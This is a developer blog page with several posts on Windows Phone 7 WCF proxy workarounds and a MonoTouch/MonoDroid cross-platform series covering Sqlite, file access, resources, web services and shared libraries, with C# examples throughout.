Nick's .NET Travels

Continually looking for the yellow brick road so I can catch me a wizard....

Tidying up Windows Phone 7 + WCF Synchronous Programming Model

In my previous post, Windows Phone 7 and WCF Don’t Play Nicely, I talked about how you could overcome some of the shortcomings of working with the generated WCF proxy classes in Windows Phone 7. I wasn’t particularly happy with the workaround I posted so I gave it some more thought and decided to go back a step.

If we look at our WCF service that we’re connecting to it is made up of two parts: the interface definition and then the service implementation. In our case they’re very simple:

[ServiceContract]
public interface IService1 {
    [OperationContract]
    int Step1();
 
    [OperationContract]
    int Step2();
}
 
public class Service1 : IService1{
    public int Step1() {
        return 1;
    }
 
    public int Step2() {
        return 2;
    }
}
 

When we generate the service reference in our Windows Phone 7 application we end up with the following methods and events:

    void Step1Async();
    void Step2Async();
    public event EventHandler<Step1CompletedEventArgs> Step1Completed;
    public event EventHandler<Step2CompletedEventArgs> Step2Completed;
 

And just to remind you, we want to get to code that looks as simple as:

public void RunInBackground(Action callback) {
    var proxy = new Service1Proxy();
    var r1 = proxy.Step1();
    var r2 = proxy.Step2();
}
 

Here’s the trick – we’re going to start with another base class that is going to do the synchronous wrapping of our service method request. Essentially this follows the same pattern as what you would have seen with the ServiceHelper class from my previous post. However, in this case the parameter to the Invoke method is an Expression that references the asynchronous service call (eg “Invoke<Step1CompletedEventArgs>(()=>Proxy.Step1Async())” ) . From this expression we can pull out the name of the method to be invoked (eg “Step1Async”) and use that to determine the name of the corresponding event that will get raised when the service request completes (eg “Step1Completed”). The event name can be used to get a reference to the event itself, which we can then wire an event handler to in the same way that the ServiceHelper worked.

public class SyncClientBase<TClientBase, TServiceInterface> : IDisposable
    where TClientBase : ClientBase<TServiceInterface>, TServiceInterface, new()
    where TServiceInterface : class {
 
    public TClientBase Proxy { get; private set; }
    public SyncClientBase() {
        Proxy = new TClientBase();
    }
 
 
    private static object downloadLock = new object();
    private static AutoResetEvent downloadWait = new AutoResetEvent(false);
 
    public TResult Invoke<TResult>(Expression<Action> asyncMethod) 
                          where TResult : AsyncCompletedEventArgs {
        var memberExpression = asyncMethod.Body as MethodCallExpression;
        var method = memberExpression.Method;
        var eventName = method.Name.Replace("Async","Completed");
        var evt = Proxy.GetType().GetEvent(eventName);
        lock (downloadLock) {
            TResult data = default(TResult);
            EventHandler<TResult> handler = (s, e) => {
                data = e;
                downloadWait.Set();
            };
            evt.AddEventHandler(Proxy,handler);
            method.Invoke(Proxy, new object[] {});
            downloadWait.WaitOne();
            evt.RemoveEventHandler(Proxy, handler);
            if (data.Error != null) {
                throw data.Error;
            }
            return data;
        }
    }
 
    public void Dispose() {
        Dispose(true);
        GC.SuppressFinalize(this);
    }
 
    protected virtual void Dispose(bool disposing){
        if (disposing) {
            if (Proxy != null) {
                downloadWait.Set();
                Proxy = null;
            }  
        }
    }
}
 

But how does this complex bit of code get us any closer to where we want to be. Well firstly this code is boilerplate code which doesn’t need to be modified for each new service reference we add. However, we do need to create another proxy class which inherits from SyncClientBase for each of our service references:

public class Service1Proxy: SyncClientBase<Services.Service1Client, 
                                           ServiceTester.Services.IService1>, 
                            DemoService.IService1 {
    public int Step1() {
        return base.Invoke<Step1CompletedEventArgs>(()=>Proxy.Step1Async()).Result;
    }
 
    public int Step2() {
        return base.Invoke<Step2CompletedEventArgs>(()=>Proxy.Step2Async()).Result;
    }
}
 

There are some points to note about this proxy:

- Service1Proxy inherits from SyncClientBase where the type arguments are Service1Client, which is the proxy that is generated when you do Add Service Reference, and IService1, which is also generated when you add the service reference.

- Service1Proxy implements DemoService.IService1 which is the original service interface definition, not Services.IService1 which is generated when you Add Service Reference. You’ll need to add this file to your Windows Phone 7 application (if you add it as a link then when you change your service definition it will automatically be updated in your Windows Phone 7 project).

- For each method defined in the DemoService.IService1 the implementation follows the same pattern:

public int Step1(){     return base.Invoke<Step1CompletedEventArgs>(()=>Proxy.Step1Async()).Result;
}

>> “Step1CompletedEventArgs” – This is the type parameter for the event that will be raised when the service request completes. In the case of Step1Async the corresponding event is Step1Completed which is of type EventHandler<Step1CompletedEventArgs>
>> “() => Proxy.Step1Async()” – This is an Action delegate that invokes the service request you want to call. In this case the Step1Async method is going to be called.
>> “.Result” – This just extracts the actual result data out of the event args and the type should match the return type of the method. In this case the Step1 method returns an integer so the Result property returns an integer value.

Wrapping this all up we get the following simple code to run on our background thread to invoke a sequence of service requests:

public void RunInBackground(Action callback) {
    using (var proxy = new Service1Proxy()) {
        var r1 = proxy.Step1();
        var r2 = proxy.Step2();
    }
}

All you have to do is make sure the Service1Proxy class stays up to date (ie add/modify/delete appropriate methods to make sure it matches IService1) and you have a nice wrapper for calling your services in a synchronous manner on a background thread without blocking the UI thread at all.

Windows Phone 7 and WCF Don’t Play Nicely

There area a number of ways you can access data from within your Windows Phone 7 application. These include using base level classes such as HttpWebRequest and the WebClient but you can also use WCF from within your application. The advantage of using WCF is of that Visual Studio 2010 can generate the necessary strongly typed proxy classes for you. All you need to do is click “Add Service Reference”, enter the url for the service you want to import and off you go. You can now write code that connects to a WCF service… happy days…. fail

Unfortunately it attempting to make life easier for noobie developers the Silverlight/Windows Phone 7 teams have managed to create a rod for almost any serious developer who wants to work with WCF Services. I’ll cover this in two parts as follows:

Async Methods Suck!

If you’ve worked with Silverlight on the desktop or WP7 then you’ll probably have noticed that nearly all methods that perform a network operation are asynchronous. This is true of the base HttpWebRequest class, the WebClient and WCF proxy classes. Conceptually this is quite a good idea as it forces developers to think asynchronously and write code that doesn’t block the UI thread. This in theory should lead to responsive applications.

What this doesn’t take into consideration is that developers who have done a programming 101 course understand the use of multiple threads. If you spin up another thread to do background tasks such as synchronisation then all of a sudden you’re going to find yourself fighting the async programming model that’s been thrust on you.

What we want to be able to do is something like:

Service1Client client = new Service1Client();
public void RunInBackground(){
    client.Step1();
    client.Step2();
}
 

What we end up with instead is:

Service1Client client = new Service1Client();
public void RunInBackground(Action callback) {     
    client.Step1Completed += client_Step1Completed;     
    client.Step1Async(callback);
}
 
void client_Step1Completed(object sender, Step1CompletedEventArgs e) {     
    client.Step1Completed -= client_Step1Completed;     
    client.Step2Completed += client_Step2Completed;     
    client.Step2Async(e.UserState);
}
 
void client_Step2Completed(object sender, Step2CompletedEventArgs e) {     
    client.Step2Completed -= client_Step2Completed;     
    var callback = e.UserState as Action;     
    callback.Invoke();
}
 

Note that the RunInBackground takes an Action as a callback. This is passed along with the various WCF method calls so that it can be invoked when all of the services have completed. Notice how untidy this code is and just how difficult it is to read and maintain.

There are ways to beat Silverlight into shape to make it easier to do a sequence of service calls on a background thread. For example the following ServiceHelper class means that I can call the sequence of Step1 and Step2 in a synchronous fashion. Note that this is done on a background thread.

void MainPage_Loaded(object sender, RoutedEventArgs e) {         
    ThreadPool.QueueUserWorkItem(async => RunInBackground());
}
 
Service1Client client = new Service1Client();
public void RunInBackground(){
    ((Action)client.Step1Async).ServiceCall<Step1CompletedEventArgs>(             
            handler => client.Step1Completed += handler,             
            handler => client.Step1Completed -= handler);
    ((Action)client.Step2Async).ServiceCall<Step1CompletedEventArgs>( 
            handler => client.Step2Completed += handler, 
            handler => client.Step2Completed -= handler); 
}

 
public static class ServiceHelper {     
    private static object downloadLock = new object();     
    private static AutoResetEvent downloadWait = new AutoResetEvent(false);     
    public static T ServiceCall<T>(this Action serviceCall, 
                                     Action<EventHandler<T>> addHandler, 
                                     Action<EventHandler<T>> removeHandler) where T : AsyncCompletedEventArgs {         
        lock (downloadLock){             
             T data = default(T);             
             EventHandler<T> handler = (s, e) =>
             {
                 data = e;
                 downloadWait.Set();
             };
          addHandler(handler);             
             serviceCall();             
             downloadWait.WaitOne();        
             removeHandler(handler);             
             if (data.Error != null) {                 
                 throw data.Error;             
             }             
             return data;         
        }     
    }
}

 

WCF Implementation Sucks!

A nasty surprise awaits those attempting to use WCF on Windows Phone 7. What it little understood is that the proxy classes that Visual Studio generates (which inherit from ClientBase) has some awful code behind it that will flick execution back onto the Main/UI thread. As you saw previously each WCF service call is made up of an asynchronous method call, with a completed event that is raised when the service call returns. This event is raised on the Main/UI thread. This means that if you’re doing any sort of processing (eg writing the response to disk before displaying it) you will accidentally block the UI thread!!!

I’m sorry to say this is one of the worst architectural decisions I’ve seen in a long time and is a hidden cause for so many applications performing badly. There are a couple of solutions:

1) Use HttpWebRequest and use a REST API on the server

2) Jump off the UI thread in each event handler, do the processing and then jump back to UI thread to update the UI.

3) The ServiceHelper shown earlier automatically passes back off to the background thread.

Windows Phone 7, Android and iOS with Mono VII: Database

Previous posts in this series:

- Mono I: Getting Started
- Mono II: Basic Navigation
- Mono III: Shared Libraries
- Mono IV: Webservices
- Mono V: Content and Resource Files
- Mono VI: File Access

Not only do you want to be able to write to the file system, for more complex applications you will want to write to a relational database.

Windows Phone 7

There is currently no support for Microsoft’s own lightweight database engine, SQL CE. However, there is a port of Sqlite that will work nicely with Isolated Storage.

- Go to CodePlex and download either the source code or just the assemblies for the Sqlite project (http://wp7sqlite.codeplex.com). If you download the assemblies you just need to add them as a reference to your WP7 application project. I prefer to have the source code handy in case something goes wrong. In this case simply add the two Sqlite projects to your solution and add a reference to both projects to your WP7 application project.

- Once you’ve added the sqlite references, all you need to do is write a bit of code to create the database, tables and insert records. Of course you’ll want to validate that the data exists. The following code was taken, and modifies slightly, from the documentation on Codeplex but illustrates all of these operations.

private void CreateSqlLite(string connectionString)
{
     using (SqliteConnection conn = new SqliteConnection(connectionString)) {
         conn.Open();
         using (SqliteCommand cmd = conn.CreateCommand()) {
             cmd.CommandText = "CREATE TABLE test ( [id] INTEGER PRIMARY KEY, [col] INTEGER UNIQUE, [col2] INTEGER, [col3] REAL, [col4] TEXT, [col5] BLOB)";
             cmd.ExecuteNonQuery();
             cmd.Transaction = conn.BeginTransaction();
             cmd.CommandText = "INSERT INTO test(col, col2, col3, col4, col5) VALUES(@col, @col2, @col3, @col4, @col5);SELECT last_insert_rowid();";
cmd.Parameters.Add("@col", DbType.Int32);
             cmd.Parameters.Add("@col2", DbType.Int32);
             cmd.Parameters.Add("@col3", DbType.Double);
             cmd.Parameters.Add("@col4", DbType.AnsiString);
             cmd.Parameters.Add("@col5", DbType.Object);
             for (int i = 0; i < 100; i++)
             {
                 cmd.Parameters["@col"].Value = i;
                 cmd.Parameters["@col2"].Value = i;
                 cmd.Parameters["@col3"].Value = i * 0.515;
                 cmd.Parameters["@col4"].Value = "สวัสดี な. あ · か · さ · た · な · は · ま · や · ら · わ. 形容詞 hello " + i;
                 cmd.Parameters["@col5"].Value = Encoding.UTF8.GetBytes("สวัสดี");
                 object s = cmd.ExecuteScalar();
             }
             cmd.Transaction.Commit();
             cmd.Transaction = null;
             cmd.CommandText = "SELECT * FROM test";
             using (SqliteDataReader reader = cmd.ExecuteReader())
             {
                 while (reader.Read())
                 {
                     //var bytesValue = (byte[])reader.GetValue(5);
                     //var intValue reader.GetInt32(0);
                     //var doubleValue = reader.GetDouble(3);
                     //var stringValue = reader.GetString(4);
                 }
             }
             conn.Close();
         }
     }
}
 

The only thing left for you is to call this method supplying the connection string to use. For example the following will create a database file called test.db within IsolatedStorage on the device.

CreateSqlLite("Version=3,uri=file:test.db");

 

 

iOS

- The MonoTouch sdk includes support for Sqlite so all you need to do is reference Mono.Data.Sqlite (right-click the Android application project and select Add References) and System.Data.

- Now from your code you can pass in the full path (within the Personal special folder) of the database file you want to create and work with.

string dbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Personal), "test.db"); 
if (File.Exists(dbPath)) File.Delete(dbPath);
CreateSqlLite("Data Source=" + dbPath);

 

Note I: that this uses exactly the same CreateSqlLite method that the WP7 application uses.

 

Android

- The MonoDroid sdk includes support for Sqlite so all you need to do is reference Mono.Data.Sqlite (right-click the Android application project and select Add References) and System.Data.

- Now from your code you can pass in the full path (within the Personal special folder) of the database file you want to create and work with.

string dbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Personal), "test.db");  if (File.Exists(dbPath)) File.Delete(dbPath);
CreateSqlLite("Data Source=" + dbPath);
 

Note I: that this uses exactly the same CreateSqlLite method that the WP7 application uses.

Note II: Be careful if you’re using “clever” Visual Studio addins like resharper as they can be overly helpful. When I added a reference to System.Data it decided to add a reference to System.EnterpriseServices which is a .NET 4 library and clearly not designed to work with MonoDroid. This caused me no end of frustration  - I ended up going through all the references in my MonoDroid projects looking for references that were not MonoDroid specific.

Windows Phone 7, Android and iOS with Mono VI: File Access

Previous posts in this series:

- Mono I: Getting Started
- Mono II: Basic Navigation
- Mono III: Shared Libraries
- Mono IV: Webservices
- Mono IV: Content and Resource Files

In the previous post we covered including files in your application that could be accessed at runtime. The flipside of this is being able to write to files, and as you may have expected there are some subtle differences between WP7 and the two Mono platforms.

Windows Phone 7

- WP7 applications are limited to writing to files located within Isolated Storage. The following code illustrates creating the User Store and then opening a file.

using (var store = IsolatedStorageFile.GetUserStoreForApplication())
using(var file = store.OpenFile("test.txt", FileMode.Create,FileAccess.Write))
using(var strm = new StreamWriter(file))
{     strm.Write("Contents to write to the test file");
}

 

iOS

- Writing to files via MonoTouch is done via the Personal special folder, as per the following example

string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal); 
string filePath = Path.Combine(path, "test.txt");
using (var file = File.Open(filePath, FileMode.Create, FileAccess.Write))
using (var strm = new StreamWriter(file))
{
strm.Write("Contents to write to the test file");
}

Android

- Writing to files on MonoDroid should also be done via the Personal special folder, as per the following example

string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal);  string filePath = Path.Combine(path, "test.txt");
using (var file = File.Open(filePath, FileMode.Create, FileAccess.Write))
using (var strm = new StreamWriter(file))
{     strm.Write("Contents to write to the test file");
}

Windows Phone 7, Android and iOS with Mono V: Content and Resource Files

Previous posts in this series:

- Mono I: Getting Started
- Mono II: Basic Navigation
- Mono III: Shared Libraries
- Mono IV: Webservices

Quite often you’ll want to include files within your application as resources or assets that can be loaded at runtime. For example images, fonts, strings or text files. In this post we’ll cover some of the ways that you can do this across the three platforms.

Windows Phone 7

There are two main ways to include files with your Windows Phone 7 application, as resources or as content. The primary difference is that files included as resources are compiled into the assembly, where as content files are packaged into the xap and deployed alongside your application on the device. Upshot is that resources load slightly quicker, because they’re already in memory, but that they can adversely affect the load time of your application. General rule of thumb on the .NET Compact Framework (which SL for WP7 sits over) is that the larger the assemblies, the longer it takes for the application to load.

Resource files

- Right-click on the wp7 application project (ie NicksNetTravels) in Solution Explorer. Select Add > Existing Item.

- Locate the file you want to add as a resource (in this case SimpleTextFile.txt located in the root folder of the application) and click Add

- Press F4 or open the Properties window and make sure the Build Action is set to Resource (some files default to Content, whilst others will default to Resource).

- In the MainPage.xaml.cs add the following code to read out the contents of the resource file:

using (var strm = App.GetResourceStream(
   new Uri("/NicksNetTravels;component/simpletextfile.txt",UriKind.RelativeOrAbsolute)).Stream)
using(var reader = new StreamReader(strm)) {
var txt = reader.ReadToEnd();
}
 

Note the format of the Uri: The first bit is the assembly name (ie NicksNetTravels) and then the second bit, after component,  is the path to the resource file (ie /simpletextfile.txt”). If you can’t work out the path to the resource I’d suggest using Reflector to open the application assembly and check to make sure your resource is there.

image

Open the .g.resources node and view the resources. Double-click to open them in notepad and view their contents.

image

Content files

- Right-click on the wp7 application project in Solution Explorer. Select Add > Existing item.

- Locate the file you want to add as content (in this case SecondTextFile.txt again located in the root folder of the application) and click Add

- This time make sure the Build Action is set to Content.

In a lot of cases you can reference content files directly by name (for example you can set the Source property of an Image control to “new Uri(“SecondTextFile.txt”, UriKind.Relative)” and it will be able to locate the file. However, if you want to read directly from the file you’ll need to reference the Microsoft.Xna.Framework assembly so that you can make use of the TitleContainer class.

- Right-Click on the WP7 application project, select Add Reference. Find and select Microsoft.Xna.Framework and click Add.

- In the MainPage.xaml.cs add the following code to read out the contents of the file:

using(var strm = TitleContainer.OpenStream("SecondTextFile.txt"))
using (var reader = new StreamReader(strm)) {
    var txt = reader.ReadToEnd();
}
 

You will probably need to add “using Microsoft.Xna.Framework;” to the top of this file too in order to get it to compile.

 

iOS

I’m sure there are probably other alternative ways to package files with your iOS application but this is the way that I’ve found/used so far (please add a comment if you know of another way):

- Right-click the iOS application project in the Solution window of MonoDevelop. Select Add > Add Files. Locate and select the file you want to include and click Open (SimpleTextFile.txt).

- Right-click the newly added file and make sure the Build Action is set to content.

Screen shot 2011-04-09 at 10.03.26 AM

- Now, in your code you can access this file as follows:

var name = Environment.CurrentDirectory + "/SimpleTextFile.txt";
using(var file = System.IO.File.Open(name,System.IO.FileMode.Open,System.IO.FileAccess.Read))
using(var reader = new System.IO.StreamReader(file)) {
    var txt = reader.ReadToEnd();
}

Note that we’re just opening a file using standard file IO commands. The file we added as content gets placed into the CurrentDirectory of the application.

 

Android

In your Android application there is quite a nice model for accessing resources. By default when you create a new project with MonoDroid you will see a Resources folder with a number of sub-folders. Each of these sub folders represents a different type of resource. For example the Drawable folder is used for images – when you access them you will use a Drawable object so that the image can be rendered to the screen. Similarly the Layout folder is used to store your Views for your application. One sub-folder that appears to be missing from the default project structure was the Raw folder. This is particularly useful as it is used for any files that you want to be able to access as a raw stream.

image

- If the Raw sub-folder does exist under the Resources node, right-click the Resources node and select Add > New Folder and call it Raw.

- Right-click the Raw sub-folder and select Add > Existing Item. Find and select the file you wish to add and click the Add button.

If you look at the Properties window for the newly added item you should see that the Build Action is set to AndroidResource. Build your solution – this is required to generate the designer wrapper for accessing the resource from code.

- Add the following code to your application to read the contents of this file

using (var strm= Resources.OpenRawResource(Resource.Raw.SimpleTextFile))
using (var reader = new StreamReader(strm)) {
    var content = reader.ReadToEnd();
}
 

Note that the reference to Resource.Raw.SimpleTextFile is checked at compile time to ensure the resource exists (rather than having to specify a string literal and hope you’ve got the name right).

And there you have it, content/resource file access across the three platforms.

MonoDroid v1 and MonoTouch v4 Released

Miguel has posted a great summary of the newly released versions of MonoTouch and MonoDroid (officially release for production now!). This is a major step forward in being able to target multiple platform with roughly the same code base. I’ve done a couple of posts covering the basics of getting started across three mobile platforms, wp7, Android and iOS. Check them out:

- Mono I- Getting Started
- Mono II- Basic Navigation
- Mono III: Shared Libraries
- Mono IV: Webservices

Feedback always appreciated

Windows Phone 7 Template for Social Reading Applications

Over the past couple of weeks I’ve been working with Dave Gloveron a Visual Studio template that you can use to create simple reader style applications. You can combine RSS/Atom, Facebook Pages and Twitter feeds into a single application. Mix and match how you want the data to be combined, and customise the UI to your hearts content.

Anyhow, the full details have been posted on Dave’s post Windows Phone 7 Social Viewer Application Template Released

Windows Phone 7, Android and iOS with Mono IV: Webservices

In this series so far:
- Mono I- Getting Started
- Mono II- Basic Navigation
- Mono III: Shared Libraries

Now that you’ve got a simple application up and running it’s time to think about accessing data. We’re going to jump in the deep end and look at how to consume a web service. In this case I’ve created a vanilla WCF service with the following definition (just using the WCF Service Application template in Visual Studio):

[ServiceContract]
public interface IService1 {    
    [OperationContract]
    string GetData(int value);
}
 

Note I: I’ve created this service in a new solution in an instance of Visual Studio 2010 running as administrator. I did this because I wanted to run the service in IIS so that it can be accessed from multiple computers (so that the iphone/simulator on my Mac can access it). See the following image to configure the service to run on IIS.

image

Note II: Because I’m running this service in IIS 7 with .NET 4 there is almost no configuration for this service in the web.config file. What this does mean is that because I’m publishing this service over HTTP the default binding is the basicHttpBinding. As with Silverlight and the .NET Compact Framework, there is only support for basicHttpBinding (or the webHttpBinding if you want to roll your own web requests).

 

Windows Phone 7

Adding this service to your Windows Phone 7 application is unbelievably simple. However, to make it slightly more complex we’re going to add the service into our shared library. This way we can have our service logic in a common place across all three platforms.

- Right-click the shared library (BuiltToRoam.General) and select Add Service Reference

- Enter the address of the wcf service (eg http://localhost/SimpleService/Service1.svc” and hit Go. This should return the service information. Give it a namespace (eg Services) and click OK.

image

This will generate a folder called Service References, a number of files that contain the proxy classes for the referenced service and a ServiceReferences.ClientConfig file, which includes endpoint configuration information about the service.

- Add the following code to the MainPage.xaml.cs code behind file.

Service1Client client=new Service1Client(); 
public MainPage() {
     InitializeComponent();
     client.GetDataCompleted += new EventHandler<GetDataCompletedEventArgs>(client_GetDataCompleted);
     client.GetDataAsync(5);
}

void client_GetDataCompleted(object sender, GetDataCompletedEventArgs e) {
     var result = e.Result;
}

Put a breakpoint on the last line of the above code and run the application. What you should notice is that the application will fail throwing an exception. This is because we haven’t told the application the endpoint or binding to use for the service request. Normally this would be specified in the ServiceReferences.ClientConfig file which would be automatically added to the application when adding the service reference. However in this case because we added the service reference to a class library we need to make sure we include the ClientConfig file in the application.

- Right-Click the WP7 application project node (ie BuiltToRoam) and select Add >Existing Item. Navigate to the shared library (ie BuiltToRoam.General) and select the ServiceReferences.ClientConfig file. Do NOT click the centre of the Add button. Instead click the down arrow on the right side of the Add button. Then select Add as Link.

image

Note: This is important because if we update the service reference in the future we don’t want to have to remember to update additional copies of this file.

- F5 to build and run – this should run smoothly (if not, make sure IIS and the service application are running smoothly).

 

iOS

From the iOS application to call our wcf service we can reuse the proxy classes that we just generated.

- Right-click on the shared library (BuiltToRoam.General.iOS) and select Add > Add Files. Select all the files in the Service References\Services folder and click Open. This will add the proxy files to the project with the appropriate build actions.

- Check that the shared library builds – I had to add a reference to the System.ServiceModel assembly at this point (right-click References and select Edit References; from the Packages tab select System.ServiceModel and click OK). You will probably want to add this assembly and System.Xml.Linq to the References for the iOS Application project too.

- Right-click the iOS application project and select Add > Add Files. Locate the ServiceReferences.ClientConfig file that is situated in the shared library project folder. Click Open to add this file – this will display a dialog prompting you to add as a Link or Copy the file. You want to ensure we only have a single copy of this file, so select the Link option

- You need to set the Build Action of the ServiceReferences file you’ve just linked to Content. Do this by right-clicking the file and setting the Build Action directly in the context menu.

 

Screen shot 2011-04-08 at 12.01.01 PM

- Now, all you need to do is write some code to read the configuration file, setup the proxy client and call the service.

Service1Client client;
public MainPageController (IntPtr p) : base (p) {
    EndpointAddress endpoint;
    var name = Environment.CurrentDirectory + "/ServiceReferences.ClientConfig";
    using(var file = System.IO.File.Open(name,System.IO.FileMode.Open,System.IO.FileAccess.Read))
    using(var reader = new System.IO.StreamReader(file)) {
        var xml =XElement.Load(reader);
        endpoint = (from ep in xml.Descendants("endpoint")
                             select new EndpointAddress(ep.Attribute("address").Value)).FirstOrDefault();
    }
    client = new Service1Client(new BasicHttpBinding(),endpoint);
    client.GetDataCompleted+=new EventHandler<GetDataCompletedEventArgs>(client_GetDataCompleted);
    client.GetDataAsync(5);  
}

private void client_GetDataCompleted(object sender, GetDataCompletedEventArgs e) {
    var result = e.Result;
}

Note: The Environment.CurrentDirectory is a reference to the location on disk where Content files get copied to when the application gets installed on the device. From there you can open it and use a bit of Xml parsing to read out the endpoint configuration value

Set a break point in the client_GetDataCompleted method to confirm the service call works

 

Android

To make use of the same wcf proxy classes we generated earlier we need to a) add the appropriate files to the shared library and b) add the service configuration to the Android application project.

- The first step is relatively straight forward: In Solution Explorer select the shared project (BuiltToRoam.General.Android) and toggle the Show All Files button in the toolbar of the Solution Explorer window, so that files that aren’t currently part of the project are shown.

- Right-click on the Service References folder and select Include in Project. You can now toggle Show All Files to hide the excluded files again. You should end up with a structure in the shared library similar to the following.

image

The Android application project should already have a reference to the shared library from what we did in the previous posts. However, it’s missing the wcf service configuration file, ServiceReferences.ClientConfig. Unfortunately you can’t just add this to the project and expect it to work, which is what we did in the wp7 case. It’s a little more involved…

- Right-click the shared library project and select Properties. Go to the Build Events tab and add the following Post-Build event:

xcopy "$(ProjectDir)ServiceReferences.ClientConfig" "$(ProjectDir)..\..\NicksNetTravelsAndroid\NicksNetTravelsAndroid\Resources\Raw\" /y

To break this down the Post-Build event commands will get run after this project has been built. In this case we’re copying the ServiceReferences file from the shared library project directory to the Resources\Raw sub-folder of the Android application project directory.

- Build the solution, and then toggle the Show All Files option for the Android application project. This should reveal the ServiceReferences.ClientConfig file within the Raw directory. If an error is thrown during the build to do with the xcopy command, you may have either got the path wrong (source or destination), or the Raw folder may not exist, in which case you need to create it.

- Right-click the ServiceReferences.ClientConfig file and select Include In Project. Make sure that the Build Action (in the Properties window) is set to AndroidResource

This has included this file as a raw resource that can be accessed from within the Android application. Now in the body of Activity1 we’ll need to open this resource, read out the wcf service configuration which we can use when creating the instance of the proxy.

Service1Client client;
protected override void OnCreate(Bundle bundle) {
base.OnCreate(bundle);
SetContentView(Resource.Layout.Main);

EndpointAddress endpoint;
using (var inputStream = Resources.OpenRawResource(Resource.Raw.ServiceReferences))
using(var reader = new StreamReader(inputStream))
{
var xml = XElement.Load( inputStream));

endpoint = (from ep in xml.Descendants("endpoint")
select new EndpointAddress(ep.Attribute("address").Value)).FirstOrDefault();
}
client = new Service1Client(new BasicHttpBinding(), endpoint);
client.GetDataCompleted += new EventHandler<GetDataCompletedEventArgs>(client_GetDataCompleted);
client.GetDataAsync(5);
}


void client_GetDataCompleted(object sender, GetDataCompletedEventArgs e)
{
var result = e.Result;
}
 

We could have just created the EndpointAddress in code but that would mean that we’ve got it hard coded within the application. By reading the contents of the ServiceReferences file we’re at least keeping the wcf service configuration information in a single file for all three platforms.

- Set a breakpoint in the client_GetDataCompleted method to see the result returned from the service.

Android Frustrations

This evening I spent a number of hours chasing my tail.  All I wanted to do was to debug the very simple Android application. I figured all I would have to do is go ahead and purchase MonoDroid (you can only debug using the emulator with the evaluation license, which is painfully slow and periodically breaks). Unfortunately this was not the case.

It turns out that my Samsung Galaxy S which is less than a year old is running Android v2.1 which is too old for the MonoDroid toolkit. I then spent the next hour fighting Samsungs poor excuse for a desktop application, Kies. It doesn’t help that the new version (v2) isn’t compatible with their less than a year old devices. I then managed to locate an older version (v1.5) which was compatible but for the life of me I couldn’t get my device to connect to the software. Finally after tweaking all sorts of things I got it to connect only to discover that the software didn’t have an update for my Galaxy S. ARGH.

Ok, back to basics – lets just get a cooked ROM and apply that. Sure enough I found instructions on how to a) root my Galaxy S and then to b) install Android 2.3.3:

How to Root Samsung Galaxy S

http://www.pathikshah.com/blog/root-samsung-galaxy-s/

Install Android 2.3.3 Gingerbread on Samsung Galaxy S

http://www.pathikshah.com/blog/install-android-2-3-3-gingerbread-on-samsung-galaxy-s/

After doing all that I now have a device I can debug to from Visual Studio 2010 using MonoDroid. This is way way way too painful, but to be expected from Google and Android.

Windows Phone 7, Android and iOS with Mono III: Shared Libraries

We’ve got the basics functioning across all three platforms but at the moment we’ve written all our code within the confines of three different projects with no code shared between them. Of course, one of the reasons for using MonoTouch/MonoDroid is to try to reuse and share as much code as possible between the platforms. That and hopefully we don’t need to spend too much time writing obnoxious Java or Objective-C code.

Now we could simply share files between the three projects, after it’s just .NET code but I want to be a little more adventurous. I’m going to create a class library that each of my three platform projects can access. Now I’m actually going to have platform specific class library project files, but the rest of the files contained within the project will be common across all projects.

Unfortunately I don’t know of an easy way to do this, so I’ll show you the long way – if someone does know an easier way to do this, please let me know because this way is painful.

Windows Phone 7

- Add a new project to your Windows Phone 7 application based on the Windows Phone Class Library template. In my case my shared library is going to be called BuiltToRoam.General but rather than leave it in the solution folder, I’m going to go up a level, create a folder called Shared and create the project in there. This will give me a folder structure as follows:

\CrossPlatform
    \Shared
        \BuiltToRoam.General
    \NicksNetTravels
    \NicksNetTravelsAndroid
    \NicksNetTravelsiOS

- In the new project rename Class1.cs to Utility.cs and add the following simple extension method:

namespace BuiltToRoam.General {     
  public static class Utility {         
    public static T EnumParse<T>(this string enumValue, bool ignoreCase = true) where T : struct {
             try {
                 if (string.IsNullOrEmpty(enumValue)) return default(T);
                 return (T)Enum.Parse(typeof(T), enumValue, ignoreCase);
             }
             catch {
                 return default(T);
             }
         }
     }
}

As you can probably work out all this method does is parse a string and return the appropriate enumeration value (strongly typed of course!).

- Right-click your Windows Phone 7 application project in the Solution Explorer window and select Add Reference; Select the BuiltToRoam.General project and add it as a reference.

- Now, just to test that this works, modify the MainPage constructor (in MainPage.xaml.cs) as follows:

public enum Wp7EnumTest {
First,
Second
}
 
public MainPage() {
InitializeComponent();

var test = ("First").EnumParse<Wp7EnumTest>();
}
 

- Build and run. Set a breakpoint after the EnumParse line to check that this works.

 

iOS

This is where it starts to get messy. Essentially you want to create an empty project stub for both iOS and Android. You can’t call them the same as the WP7 project because then you’ll end up with a file conflict; yet if you give them a different name they’ll create a new project folder which won’t contain the same files. There are actually two options here: Option 1 is that you just live with the fact that you’ll have multiple project folders – Visual Studio allows you to add files as links which means that you can have the files in one project (eg the Windows Phone 7 project you just created) and then as links in the iOS and Android projects. Option 2, which I prefer, is to create the project stubs with a slightly different name, and then move them into the same directory as the Windows Phone 7 project file. Then you can add literally the same files as the projects will be in the same folder. Here I’m going to go with Option 2, so if it didn’t make sense when I described it, then hopefully it will by the end of this.

- In MonoDevelop, right-click the Solution node in the Solution window and select Add > Add New Project. Select the MonoTouch Library Project from under the C# > iPhone and iPad node. Give you project a name, in this case BuiltToRoam.General.iOS, and click Forward to create the new project.

- Right-click the newly created project and select Delete (this might seem odd since what we actually want to do is to remove it from the solution, rather than deleting the project). When prompted, select “Remove” from the dialog (if you select “Delete from Disk” it will do just that, which is not what we want).

- In Finder, locate the newly created project file (in this case BuiltToRoam.Genera.iOS.csproj) and move it from where it was created into the shared project folder (in this case \Shared\BuiltToRoam.General).

- Back in MonoDevelop, right-click the Solution node. This time select Add > Add Existing Project and navigate to the shared project folder and select the project you just moved.

- Right-click the References folder of your iOS application project (ie NicksNetTravelsiOS) and select Edit References. Select the Projects tab and check the box alongside the shared project you just added (ie BuiltToRoam.General.iOS).

- Right-click the shared project and select Add > Add Files. Select Utilities.cs and click Open to add the file to your project

- Modify the code in Main.cs to include the following code to test the code in the referenced assembly works.

public enum iOSEnumTest{
    First,
    Second
}
 
public class Application  {
  static void Main (string[] args) {
   var test = ("First").EnumParse<iOSEnumTest>();

   UIApplication.Main (args);           
  }
}

